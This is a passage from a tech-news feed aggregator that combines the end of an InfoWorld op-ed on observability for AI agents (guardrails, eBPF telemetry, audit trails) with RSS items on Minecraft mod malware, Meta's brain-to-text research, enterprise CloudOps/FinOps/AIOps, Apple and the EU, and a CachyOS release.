<p>Some progress is being made. OpenTelemetry (OTel) and LLM tracing are emerging as early attempts to bring runtime visibility into AI systems. But these are still just first steps, and the core issue remains: you can’t understand AI systems by evaluating them after the fact. You need to observe them as they operate.</p>



<h2 class="wp-block-heading">The security turn: guardrails, PII, and prompt injection</h2>



<p>As AI systems move into production, observability becomes more about managing risk. The attack surface has expanded dramatically, with teams now dealing with:</p>



<ul class="wp-block-list">
<li>Prompt injection attacks</li>



<li>Jailbreak attempts</li>



<li>Leakage of sensitive data, including personally identifiable information (PII)</li>



<li>Unintended model behavior triggered by edge-case inputs</li>
</ul>



<p>In response, a new category of “guardrail” tools has emerged. These systems aim to monitor inputs and outputs in real time, flagging or blocking unsafe behavior. In theory, they provide a safety layer that sits between users and models. </p>



<p>In practice, however, the picture is more complicated.</p>



<p>Most guardrails today are reactive. They rely on predefined rules or classifiers that attempt to catch known patterns. But AI systems are inherently open-ended, and adversarial inputs evolve quickly. What works today may fail tomorrow.</p>



<p>There’s also a deeper issue: guardrails operate on the assumption that you already have sufficient visibility into the system. In reality, many teams lack the underlying telemetry needed to understand how and why a failure occurred in the first place.</p>



<p>This creates a gap between what guardrails promise (real-time protection) and what they can reliably deliver. Closing that gap requires something more foundational than filtering inputs and outputs. It requires rethinking observability itself.</p>



<h2 class="wp-block-heading">The coming shift: from models to agents</h2>



<p>The next wave of AI is clearly about autonomous agents. Instead of single inference calls, we’re seeing systems that orchestrate multiple models, interact with external tools and APIs, and execute multi-step workflows over extended periods of time.</p>



<p>These systems don’t just generate outputs; they make decisions. And that changes the observability problem entirely.</p>



<p>Just as <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">containers</a> required orchestration platforms like <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a> to become manageable at scale, AI agents will require their own observability and control layer. That layer must go beyond tracking inputs and outputs. It needs to capture:</p>



<ul class="wp-block-list">
<li>Decision paths</li>



<li>Tool usage</li>



<li>Resource consumption</li>



<li>Interactions across agents</li>



<li>Behavior over time, not just at a single point</li>
</ul>



<p>In many ways, this is similar to what we saw with the evolution of cloud-native observability. We moved from simple metrics to a combination of logs, metrics, and traces to understand distributed systems.</p>



<p>Now we need the equivalent for agentic systems.</p>



<p>As AI becomes embedded across the software development life cycle, from code generation to testing to operations, observability is evolving into a system of truth that feeds both humans and machines. AI agents can only build, debug, and improve systems if they have access to rich, high-fidelity production context. Observability is what provides that context.</p>



<h2 class="wp-block-heading">Why kernel-space observability will be essential</h2>



<p>There’s a fundamental trust problem at the heart of AI observability. If an AI agent is responsible for reporting its own behavior, how do you know that behavior is being reported accurately?</p>



<p>Traditional observability relies heavily on instrumentation within the application layer. But instrumentation can be incomplete, misconfigured, inadvertently bypassed, or simply incorrect.</p>



<p>This problem becomes more acute as AI systems begin generating their own code. Agents don’t think like human engineers when it comes to instrumentation, nor should they be expected to. But the result is a growing need for independent, out-of-band observability.</p>



<p>This is where kernel-level approaches, such as <a href="https://ebpf.io/" data-type="link" data-id="https://ebpf.io/">eBPF</a>, become critical. By operating at the kernel level, eBPF enables teams to:</p>



<ul class="wp-block-list">
<li>Capture system behavior without modifying application code</li>



<li>Eliminate blind spots caused by missing instrumentation</li>



<li>Ensure consistent visibility across all workloads, both human-driven and AI-generated</li>
</ul>



<p>More importantly, eBPF provides a trusted source of truth. In high-stakes environments where compliance, security, and reliability are non-negotiable, this independence is essential. You need telemetry that’s not influenced by the systems it observes.</p>



<h2 class="wp-block-heading">Three needs for AI observability </h2>



<p>If current tools fall short, what comes next? The answer is a shift in how we think about observability.</p>



<p>First, we need behavioral anomaly detection for AI systems. Traditional observability focuses on latency, errors, and resource utilization. But AI systems require a different lens to detect when behavior deviates from expectations, even when no explicit “error” occurs.</p>



<p>Second, we need tamper-proof audit trails. As AI systems take on more responsibility, you have to be able to reconstruct decisions. Teams need to understand what happened and, more importantly, why. And they need to trust that the data hasn’t been altered.</p>



<p>Third, observability must become dynamic and adaptive. Static dashboards and predefined metrics won’t cut it. AI systems operate in constantly changing environments, and observability must be able to:</p>



<ul class="wp-block-list">
<li>Adjust data collection in real time</li>



<li>Increase granularity during incidents</li>



<li>Focus on what matters in the moment</li>
</ul>



<p>Finally, observability must integrate directly into AI workflows. It’s no longer enough to surface insights to human operators. The same telemetry must be consumable by AI agents feeding back into development, debugging, and optimization loops.</p>



<h2 class="wp-block-heading">Observability as a part of infrastructure, not an afterthought</h2>



<p>We are still early in the evolution of AI observability. Most of today’s tools are extensions of existing paradigms adapted for AI, but not fundamentally redesigned for it. Predictably, they solve parts of the problem, but not the whole.</p>



<p>The next generation of these systems will look very different. They’ll treat observability as a core layer that enables AI systems to operate safely, efficiently, and autonomously. The teams that succeed will be those that recognize this shift early.</p>



<p>Ultimately, in a world of non-deterministic systems, long-running workflows, and autonomous agents, one thing becomes clear: AI reliability strongly correlates with your observability layer.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Obfuscated Minecraft Mod Installer .jar Ran on Arch Linux, Need Manual Malware Analysis]]></title>
<description><![CDATA[Willing to compensate for your time as well. I have a heavily obfuscated .jar file that acts as an installer for a Minecraft mod. I already opened it on my Arch Linux PC, and I’m concerned that I may have infected my own device. I do not have the actual mod .jar because I do not want to run the i...]]></description>
<link>https://tsecurity.de/de/3640065/malware-trojaner-viren/obfuscated-minecraft-mod-installer-jar-ran-on-arch-linux-need-manual-malware-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3640065/malware-trojaner-viren/obfuscated-minecraft-mod-installer-jar-ran-on-arch-linux-need-manual-malware-analysis/</guid>
<pubDate>Thu, 02 Jul 2026 05:17:50 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Willing to compensate for your time as well.</p> <p>I have a heavily obfuscated .jar file that acts as an installer for a Minecraft mod. I already opened it on my Arch Linux PC, and I’m concerned that I may have infected my own device.</p> <p>I do not have the actual mod .jar because I do not want to run the installer again and let it automatically install anything into my .minecraft folder.</p> <p>I’m not looking for automated scanner results. I need someone experienced to determine whether the installer is malicious and explain what it does.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/thrashingjohn"> /u/thrashingjohn </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1ul6htv/obfuscated_minecraft_mod_installer_jar_ran_on/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1ul6htv/obfuscated_minecraft_mod_installer_jar_ran_on/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Meta's non-invasive brain-to-text AI is closing the gap with surgical implants]]></title>
<description><![CDATA[Meta's FAIR AI team uses Brain2Qwerty v2 to translate brain activity into typed sentences, with no implants or surgery required. The system reads magnetic signals outside the skull and reconstructs what a person is typing. Clinical use for paralyzed patients is still a long way off, but accuracy ...]]></description>
<link>https://tsecurity.de/de/3639055/ai-nachrichten/metas-non-invasive-brain-to-text-ai-is-closing-the-gap-with-surgical-implants/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3639055/ai-nachrichten/metas-non-invasive-brain-to-text-ai-is-closing-the-gap-with-surgical-implants/</guid>
<pubDate>Wed, 01 Jul 2026 18:05:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/Brain2Qwertyv2-title.png" class="attachment-full size-full wp-post-image" alt="" decoding="async"></p>
<p>        Meta's FAIR AI team uses Brain2Qwerty v2 to translate brain activity into typed sentences, with no implants or surgery required. The system reads magnetic signals outside the skull and reconstructs what a person is typing. Clinical use for paralyzed patients is still a long way off, but accuracy keeps improving with every additional recording. AI agents that wrote their own code helped with the optimization.</p>
<p>The article <a href="https://the-decoder.com/metas-non-invasive-brain-to-text-ai-is-closing-the-gap-with-surgical-implants/">Meta's non-invasive brain-to-text AI is closing the gap with surgical implants</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Are Minecraft community servers illegal? The ESA brands them piracy, pushing back against the Stop Killing Games movement]]></title>
<description><![CDATA[The ESA has sparked controversy after describing community-run Minecraft servers as "illegal" during a California hearing on the Protect Our Games Act. The comments have reignited debate over game preservation, player-run servers, and Microsoft's approach to community-hosted Minecraft experiences.]]></description>
<link>https://tsecurity.de/de/3638046/windows-tipps/are-minecraft-community-servers-illegal-the-esa-brands-them-piracy-pushing-back-against-the-stop-killing-games-movement/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3638046/windows-tipps/are-minecraft-community-servers-illegal-the-esa-brands-them-piracy-pushing-back-against-the-stop-killing-games-movement/</guid>
<pubDate>Wed, 01 Jul 2026 11:57:09 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The ESA has sparked controversy after describing community-run Minecraft servers as "illegal" during a California hearing on the Protect Our Games Act. The comments have reignited debate over game preservation, player-run servers, and Microsoft's approach to community-hosted Minecraft experiences.]]></content:encoded>
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<title><![CDATA[A framework for operational autonomy: Integrating CloudOps, FinOps and AIOps]]></title>
<description><![CDATA[Operational autonomy is quickly becoming one of the defining capabilities of a modern enterprise. As digital estates become more distributed, cloud environments more dynamic and AI consumption more expensive and less predictable, traditional operating models begin to show their limits. Teams can ...]]></description>
<link>https://tsecurity.de/de/3637916/it-security-nachrichten/a-framework-for-operational-autonomy-integrating-cloudops-finops-and-aiops/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637916/it-security-nachrichten/a-framework-for-operational-autonomy-integrating-cloudops-finops-and-aiops/</guid>
<pubDate>Wed, 01 Jul 2026 11:06:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Operational autonomy is quickly becoming one of the defining capabilities of a modern enterprise. As digital estates become more distributed, cloud environments more dynamic and AI consumption more expensive and less predictable, traditional operating models begin to show their limits. Teams can no longer rely only on manual oversight, disconnected monitoring tools or periodic financial reviews to keep enterprise technology healthy and cost efficient. What is needed instead is a coordinated operating framework that brings together CloudOps, FinOps and AIOps, while also addressing the emerging discipline of AI token and model consumption governance. When these disciplines are designed as one connected system rather than as isolated workstreams, organizations move closer to operational excellence: faster decisions, better resilience, improved financial control, stronger compliance and a more measurable connection between technology investments and business outcomes.</p>



<h2 class="wp-block-heading">What operational autonomy means in enterprise IT</h2>



<p>Operational autonomy does not mean removing people from operations. In practice, it means designing enterprise IT so that routine sensing, decision support, remediation, optimization and policy enforcement happen with minimal friction and with the right human oversight at the right moments. A mature autonomous operating model continuously observes infrastructure, applications, data flows, AI services and financial consumption patterns; detects risk or inefficiency early; and triggers guided or automated action based on policy, confidence and business criticality. This approach depends on four connected pillars: CloudOps to maintain reliable and scalable digital infrastructure, FinOps to govern cost and value, AIOps to detect patterns and automate response, and AI consumption governance to manage token usage, model selection, inference workloads and unit economics.</p>



<p>Gartner’s 2024 <a href="https://www.gartner.com/en/documents/5703151" rel="nofollow">research</a> on FinOps for data and analytics emphasizes that cloud operations and financial governance are no longer separate concerns, especially as AI workloads reshape cost structures and accountability expectations. Forrester’s 2024 <a href="https://www.forrester.com/report/the-state-of-aiops-and-observability/RES180470" rel="nofollow">analysis</a> of AIOps and observability similarly notes that modern enterprises need deeper operational visibility and broader insight-driven coordination to handle hybrid complexity. IDC’s 2024 <a href="https://www.marketresearch.com/IDC-v2477/Future-Operations-Framework-38402860/" rel="nofollow">perspective</a> on future operations adds another useful lens by framing data-driven operations around agility, resilience and predictability. Taken together, these viewpoints reinforce the same idea: autonomy is not a tool purchase; it is a management framework.</p>



<h2 class="wp-block-heading">Design principles for an enterprise operational autonomy framework</h2>



<p>A practical framework begins with a few disciplined principles. First, the enterprise must build around a shared operational data layer. Telemetry from cloud infrastructure, applications, service management systems, security controls, business transactions and AI services should be normalized so that operations, finance and governance teams work from the same facts. Second, every automated action should be policy-aware. Cost optimization, scaling, failover, remediation, model routing, data retention and access control should all reflect business guardrails rather than isolated technical rules.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="688" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure: The four pillars of autonomous IT.</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>Third, the framework should be value-led rather than purely cost-led. FinOps has matured beyond simply lowering spend; the stronger objective is to align spend with business priorities, performance requirements and acceptable risk. Fourth, autonomy should progress in stages. Enterprises usually start with visibility, then introduce recommendations, then guided automation and finally closed-loop autonomy for low-risk scenarios. Fifth, executive accountability must be explicit. Operational autonomy touches architecture, finance, privacy, security, data stewardship and business strategy. Without a cross-functional ownership model, autonomy becomes fragmented and difficult to govern. Everest Group’s 2024 FinOps Cloud Cost Management <a href="https://www.everestgrp.com/report/egr-2024-29-r-6601/" rel="nofollow">assessment</a> highlights the growing demand for role-based access, cost intelligence, governance and automation as core requirements for enterprise cloud cost management products. That is a useful signal that the framework must be built for collaboration, not just analytics.</p>



<h2 class="wp-block-heading">Integrating CloudOps, FinOps and AIOps into one operating model</h2>



<p>CloudOps, FinOps and AIOps are often discussed separately because each emerged from a different operational problem. CloudOps grew out of the need to run cloud estates reliably and at scale. FinOps developed in response to unpredictable consumption-based billing. AIOps emerged because traditional monitoring could not keep pace with the volume and complexity of telemetry generated across modern digital systems. Yet in a mature enterprise, these disciplines converge naturally.</p>



<p>A performance incident in a cloud platform is rarely only an availability problem; it may also drive higher infrastructure consumption, trigger excess logging charges, degrade customer experience or increase token usage in AI-enabled workflows. Similarly, a cost spike may not be a finance issue alone; it may reveal inefficient architecture, poor scheduling, unnecessary data movement or an AI agent behaving outside policy.</p>



<p>An integrated operating model therefore links observability signals, service context, business KPIs, financial metrics and automation rules into one decision fabric. CloudOps provides the runtime discipline, FinOps introduces value and accountability, and AIOps adds pattern recognition and intelligent response. When connected well, the enterprise can answer not only what is happening, but why it is happening, what it is costing, what risk it creates and what the best next action should be.</p>



<h2 class="wp-block-heading">AI token optimization and AI cost spend governance</h2>



<p>AI introduces a new cost curve into enterprise operations. Unlike traditional software costs, token spend can vary sharply based on prompt design, model choice, context length, retrieval patterns, orchestration logic, concurrency, caching strategy and user behavior. This makes AI cost governance an essential part of operational autonomy. A strong framework begins by defining the unit economics of AI consumption: cost per request, cost per conversation, cost per business workflow, cost per user segment and cost per outcome.</p>



<p>Once these baselines are visible, the enterprise can introduce optimization controls such as prompt compression, response-length policies, semantic caching, model tiering, workload routing to lower-cost models where quality tolerance allows, context-window discipline, batch processing for non-real-time use cases and approval thresholds for premium model usage. AI gateways and model brokers can enforce these policies consistently across teams.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="709" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Figure 2: AI FinOps framework</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p>Chargeback or showback mechanisms should also extend to AI services so that business units see both value and consumption behavior. Recent <a href="https://www.forbes.com/councils/forbesfinancecouncil/2026/05/27/a-cfos-five-layer-framework-to-govern-ai-token-spend-before-it-governs-you/" rel="nofollow">analysis</a> in Forbes has drawn attention to the financial risks of unmanaged token growth and argues for governance layers that connect finance and engineering before AI expenditure becomes opaque. FinOps Foundation guidance on FinOps for AI reinforces the same message, noting that token-level metrics, quotas, tagging, GPU allocation practices and real-time monitoring are necessary to keep AI costs aligned to business value. In enterprise settings, the lesson is straightforward: if cloud cost needed FinOps, AI cost needs an even tighter form of FinOps because usage can scale much faster and become far less transparent as mentioned in IDC <a href="https://my.idc.com/getdoc.jsp?containerId=US53688325" rel="nofollow">report</a>.</p>



<h2 class="wp-block-heading">FinOps for cloud infrastructure cost management</h2>



<p>Cloud infrastructure cost management remains one of the foundational layers of operational autonomy because every autonomous workflow eventually rests on compute, storage, networking, platform services and data transfer. An effective FinOps capability does more than flag overspend after the month has ended. It creates near-real-time visibility into consumption, ownership, unit economics, forecast variance, commitments and waste patterns.</p>



<p>The enterprise should define standard practices for tagging, cost allocation, commitment management, rightsizing, idle resource detection, storage tiering, Kubernetes cost visibility, environment lifecycle controls and architecture reviews for high-cost services. More importantly, these practices should be tied to business context. For example, a workload serving a mission-critical customer channel may justify higher spend if it supports revenue protection, whereas a non-production environment should have stricter shutdown and spend caps.</p>



<p>Gartner’s 2024 <a href="https://www.gartner.com/en/documents/5703151" rel="nofollow">research</a> on FinOps for data and analytics underscores that AI and data workloads are changing the financial profile of cloud operations and increasing the need for more sophisticated tooling and governance. IDC’s market <a href="https://www.intel.com/content/dam/www/central-libraries/us/en/documents/2024-03/idc-ai-strategy-in-2024-growth-roi-security-brief.pdf" rel="nofollow">perspective</a> on intelligent cloud and edge operations with FinOps software also points to the rapid growth of platforms that combine operations intelligence with financial control, suggesting that enterprises increasingly view operational management and cost management as linked disciplines rather than separate layers.</p>



<h2 class="wp-block-heading">Autonomous operations through AIOps</h2>



<p>AIOps gives the framework its intelligence and response speed. In most enterprises, operations data is noisy, fragmented and too voluminous for humans to interpret quickly during incidents or performance degradation. AIOps platforms reduce that burden by correlating events, identifying anomalies, clustering symptoms, surfacing probable root causes and recommending or initiating remediation actions. The best outcomes appear when AIOps is connected not only to infrastructure monitoring but also to service maps, change records, configuration data, incident workflows and business priorities.</p>



<p>That connection allows the enterprise to distinguish between a harmless signal fluctuation and an issue that threatens a critical business service. Forrester’s 2024 <a href="https://www.forrester.com/report/the-state-of-aiops-and-observability/RES180470" rel="nofollow">research</a> on AIOps and observability explains this well by describing the complementary value of breadth and depth: observability provides richer technical insight, while AIOps helps transform those signals into operational action. In practice, autonomy grows when low-risk responses such as service restarts, resource adjustments, ticket enrichment, dependency checks or rollback decisions are automated under policy. High-risk actions should remain human-approved until confidence improves. Over time, the enterprise can move from reactive incident management to predictive operations, where emerging capacity risk, recurring error patterns or unusual AI workload behavior are addressed before service impact is visible to users.</p>



<h2 class="wp-block-heading">How the framework leads to operational excellence</h2>



<p>Operational excellence is the cumulative result of better decisions made earlier, faster and with clearer accountability. A well-designed autonomy framework improves service reliability because systems are observed continuously and remediation can be triggered before failures spread. It improves cost discipline because consumption anomalies are identified at the same time as performance or usage anomalies, not weeks later in a billing report.</p>



<p>It improves strategic focus because technology leaders can evaluate trade-offs in terms of business value rather than technical activity alone. It also improves employee productivity by removing repetitive operational effort and shifting skilled staff toward engineering improvements, policy tuning and service innovation. The most important outcome, however, is predictability. Enterprises become more confident in how they scale AI services, how they control cloud spend, how they handle operational events and how they meet compliance obligations. That confidence is what separates routine automation from genuine operational autonomy.</p>



<h2 class="wp-block-heading">Security, governance, process implementation and people upskilling</h2>



<p>No autonomy framework survives without strong security and governance. Automated operations amplify both efficiency and risk, which means identity controls, segmentation, least-privilege access, secrets management, encryption and auditability have to be embedded from the start. AI services add further concerns: prompt leakage, data residency, model misuse, training-data exposure, shadow AI adoption and uncontrolled access to external models.</p>



<p>Governance therefore needs to extend across cloud resources, operational workflows, AI services and data assets. Enterprises should establish clear policy domains covering infrastructure provisioning, AI model approval, token limits, vendor usage, observability data handling, retention rules, access reviews and exception management. Process implementation is equally important. The framework should define standard operating patterns for incident triage, automated remediation approval, cost anomaly review, model lifecycle management and post-incident learning. None of this works unless people are prepared for the shift.</p>



<p>Operations teams need skills in cloud economics, observability, automation engineering and policy-driven operations. Finance teams need to understand cloud and AI consumption models. Security and privacy teams need fluency in AI risk scenarios and control design. Business leaders need a clearer grasp of unit economics and value realization. IDC’s 2024 <a href="https://www.intel.com/content/dam/www/central-libraries/us/en/documents/2024-03/idc-ai-strategy-in-2024-growth-roi-security-brief.pdf" rel="nofollow">briefing</a> on enterprise AI strategy highlights the tension between rapid AI investment, ROI pressure, staffing constraints, security and compliance. That is exactly why upskilling must be treated as part of the framework itself, not as an optional change-management activity as per FinOps Foundation <a href="https://www.finops.org/wg/finops-for-ai-overview/" rel="nofollow">documentation</a>.</p>



<h2 class="wp-block-heading">The role of regulatory compliance</h2>



<p>Regulatory compliance is not a side topic in operational autonomy; it is one of the main reasons the framework must be formalized. Cloud environments frequently span jurisdictions, AI systems process sensitive information, observability platforms collect detailed operational data and automated decisions may influence customer experience or internal controls. Regulations such as GDPR, DPDP, sector-specific cybersecurity directives, financial reporting obligations, contractual data-handling requirements and internal audit standards all shape what autonomy can and cannot do.</p>



<p>Compliance requirements should therefore be translated into operational policy. Examples include residency-aware workload placement, data minimization in logs and prompts, access segregation for financial and regulated data, explainable automated actions, evidence retention, periodic control attestations and approval workflows for AI usage involving personal or confidential information. Chief privacy and data leaders play a central role here because the compliance question is no longer just where data is stored, but also how data is observed, transformed and consumed by AI-driven services. A mature framework reduces compliance risk by making control enforcement systematic rather than dependent on manual effort.</p>



<h2 class="wp-block-heading">How to implement the framework in practice</h2>



<p>Implementation is usually most successful when handled in phases. The first phase is baseline visibility: consolidate telemetry, cloud billing data, service inventory, AI usage data and business ownership into one operational picture. The second phase is governance design: define policies for tagging, spend thresholds, automation boundaries, access controls, model usage and compliance checkpoints.</p>



<p>The third phase is prioritization: choose a small number of use cases where autonomy can produce measurable value, such as cloud rightsizing, incident correlation, cost anomaly detection, AI token governance or automated remediation for recurring low-risk faults. The fourth phase is automation with guardrails: deploy workflows, approval rules and rollback paths. The fifth phase is optimization and learning: review outcomes, refine policies, update unit economics, expand autonomy coverage and measure business impact.</p>



<p>This staged approach matters because full autonomy is not achieved by switching on one platform. It is built progressively through trusted control, good data and disciplined execution.</p>



<h2 class="wp-block-heading">Useful tools for building the framework</h2>



<p>The tool landscape should be chosen based on architecture, governance maturity and operating model rather than vendor popularity alone. Cloud-native cost and operations tools from hyperscalers provide baseline visibility, but many enterprises supplement them with specialized FinOps platforms for allocation, forecasting, commitment analysis and chargeback. Observability platforms help unify metrics, logs, traces and service maps, while AIOps platforms add anomaly detection, event correlation and automation orchestration.</p>



<p>Service management platforms remain important for change control, incident workflows and audit evidence. AI gateways and model management layers are increasingly useful for token monitoring, policy enforcement, prompt controls, model routing and usage analytics. Security posture management, DSPM, identity governance and compliance automation tools also become part of the architecture because autonomy without trust quickly becomes fragile. The most effective toolchains are the ones that integrate technical telemetry, financial signals, governance policy and workflow automation into a coherent operating system for the enterprise.</p>



<h2 class="wp-block-heading">Executive roles in developing and managing the framework</h2>



<p>Here is a table that summarizes various Executive Roles and their responsibilities in Operational Autonomy governance.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>Executive Role</strong></td><td><strong>Primary Responsibility in the Framework</strong></td><td><strong>Key Decisions and Governance Focus</strong></td></tr><tr><td>CIO</td><td>Owns the enterprise operating model and ensures CloudOps, FinOps and AIOps are aligned to business service outcomes.</td><td>Sets operating priorities, funds enabling platforms, establishes accountability, sponsors service reliability and cost transparency programs, and chairs cross-functional governance.</td></tr><tr><td>CTO</td><td>Defines the target architecture for autonomy, including cloud platforms, observability, automation, AI services and integration patterns.</td><td>Approves technical standards, automation design principles, platform engineering choices, model architecture strategy and engineering guardrails for scale and resilience.</td></tr><tr><td>Chief Privacy Officer</td><td>Ensures that data use in observability, automation and AI operations complies with privacy law and internal policy.</td><td>Defines controls for personal data handling, retention, consent boundaries, cross-border transfer considerations, prompt and log privacy, and privacy impact assessments.</td></tr><tr><td>Chief Data Officer</td><td>Leads data governance, data quality, metadata management and trustworthy access to the shared operational data layer.</td><td>Defines data classification, stewardship, lineage expectations, AI data usage standards and interoperability rules required for accurate autonomous decision-making.</td></tr><tr><td>Chief Strategy Officer</td><td>Connects the autonomy framework to enterprise transformation goals, investment priorities and measurable business value.</td><td>Shapes business case design, prioritizes value pools, aligns the framework with growth and efficiency strategy, and ensures operating metrics support executive decision-making.</td></tr></tbody></table> </div></figure>



<h2 class="wp-block-heading">Conclusion</h2>



<p>Developing operational autonomy for an enterprise is not about chasing a futuristic ideal. It is about building a disciplined and connected operating model that helps the organization run technology with greater confidence, speed and accountability. CloudOps keeps the estate reliable, FinOps ensures that spending reflects value, AIOps makes complexity manageable and AI cost governance brings much-needed control to token-driven consumption. Security, privacy, compliance, process rigor and people capability are what make the framework sustainable. When all of these parts work together, the enterprise does not just automate tasks; it strengthens resilience, improves financial stewardship and creates a more adaptive path to operational excellence.</p>



<p><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="nofollow"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="nofollow"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[1.10.7]]></title>
<description><![CDATA[Minor optimization]]></description>
<link>https://tsecurity.de/de/3637822/it-security-tools/1107/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637822/it-security-tools/1107/</guid>
<pubDate>Wed, 01 Jul 2026 10:19:17 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Minor optimization</p>]]></content:encoded>
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<title><![CDATA[Tim Cook's government liaison position comes into focus before stepping down as Apple CEO]]></title>
<description><![CDATA[Apple CEO Tim Cook will soon be Executive Chairman and handle government interactions, but that isn't stopping him from taking a phone call today with a European Commission head over Apple AI in the EU.Apple CEO Tim Cook is ready to take on his role as government liaisonWWDC 2026 was focused on s...]]></description>
<link>https://tsecurity.de/de/3637126/ios-mac-os/tim-cooks-government-liaison-position-comes-into-focus-before-stepping-down-as-apple-ceo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637126/ios-mac-os/tim-cooks-government-liaison-position-comes-into-focus-before-stepping-down-as-apple-ceo/</guid>
<pubDate>Wed, 01 Jul 2026 02:24:10 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple CEO <a href="https://appleinsider.com/inside/tim-cook" title="Tim Cook" data-kpt="1">Tim Cook</a> will soon be Executive Chairman and handle government interactions, but that isn't stopping him from taking a phone call today with a European Commission head over Apple AI in the EU.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68127-143599-Tim-Cook-gestures-xl.jpg" alt="Tim Cook is an older man with gray hair and glasses, wearing a navy polo shirt, stands speaking with hands raised in front of large glass wall and modern office interior with orange chairs" height="738"><br><span>Apple CEO Tim Cook is ready to take on his role as government liaison</span></div><br><a href="https://appleinsider.com/inside/wwdc" title="WWDC" data-kpt="1">WWDC</a> 2026 was focused on system optimization, child safety, and the new Apple Foundation Models. Apple Users in the EU <a href="https://appleinsider.com/articles/26/06/08/siri-ai-new-apple-intelligence-not-coming-to-eu-right-away-thanks-to-dma">were cut off completely</a> from that last third of the keynote, as those features can't launch in the region as they exist today.<br><br>According to <a href="https://www.ft.com/content/807d25c3-f4ac-4402-b815-3aa91018237d">a report</a> from <em>The Financial Times</em>, first <a href="https://9to5mac.com/2026/06/30/tim-cook-and-eu-tech-chief-hold-constructive-virtual-meeting-over-siri-ai-standoff/">shared by</a> <em>9to5Mac</em>, Apple CEO Tim Cook had a virtual meeting with Henna Virkkunen, Executive Vice President of the European Commission, which reportedly was "constructive." People familiar with the exchange said that the conversation centered around how Apple might launch its revamped AI tools in the EU without violating the Digital Markets Act (DMA).<br><br><br> <a href="https://appleinsider.com/articles/26/07/01/tim-cooks-government-liaison-position-comes-into-focus-before-stepping-down-as-apple-ceo?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244840?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[CachyOS June 2026 ISO Released with Hyprland Noctalia, Faster Performance, and Smarter System Tools]]></title>
<description><![CDATA[by George Whittaker
      
            The CachyOS team has released the June 2026 ISO, delivering another feature-packed update for its Arch Linux-based distribution. Known for its aggressive performance optimizations and gaming-focused approach, CachyOS continues refining both the user experien...]]></description>
<link>https://tsecurity.de/de/3637032/unix-server/cachyos-june-2026-iso-released-with-hyprland-noctalia-faster-performance-and-smarter-system-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637032/unix-server/cachyos-june-2026-iso-released-with-hyprland-noctalia-faster-performance-and-smarter-system-tools/</guid>
<pubDate>Wed, 01 Jul 2026 01:00:52 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341440" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
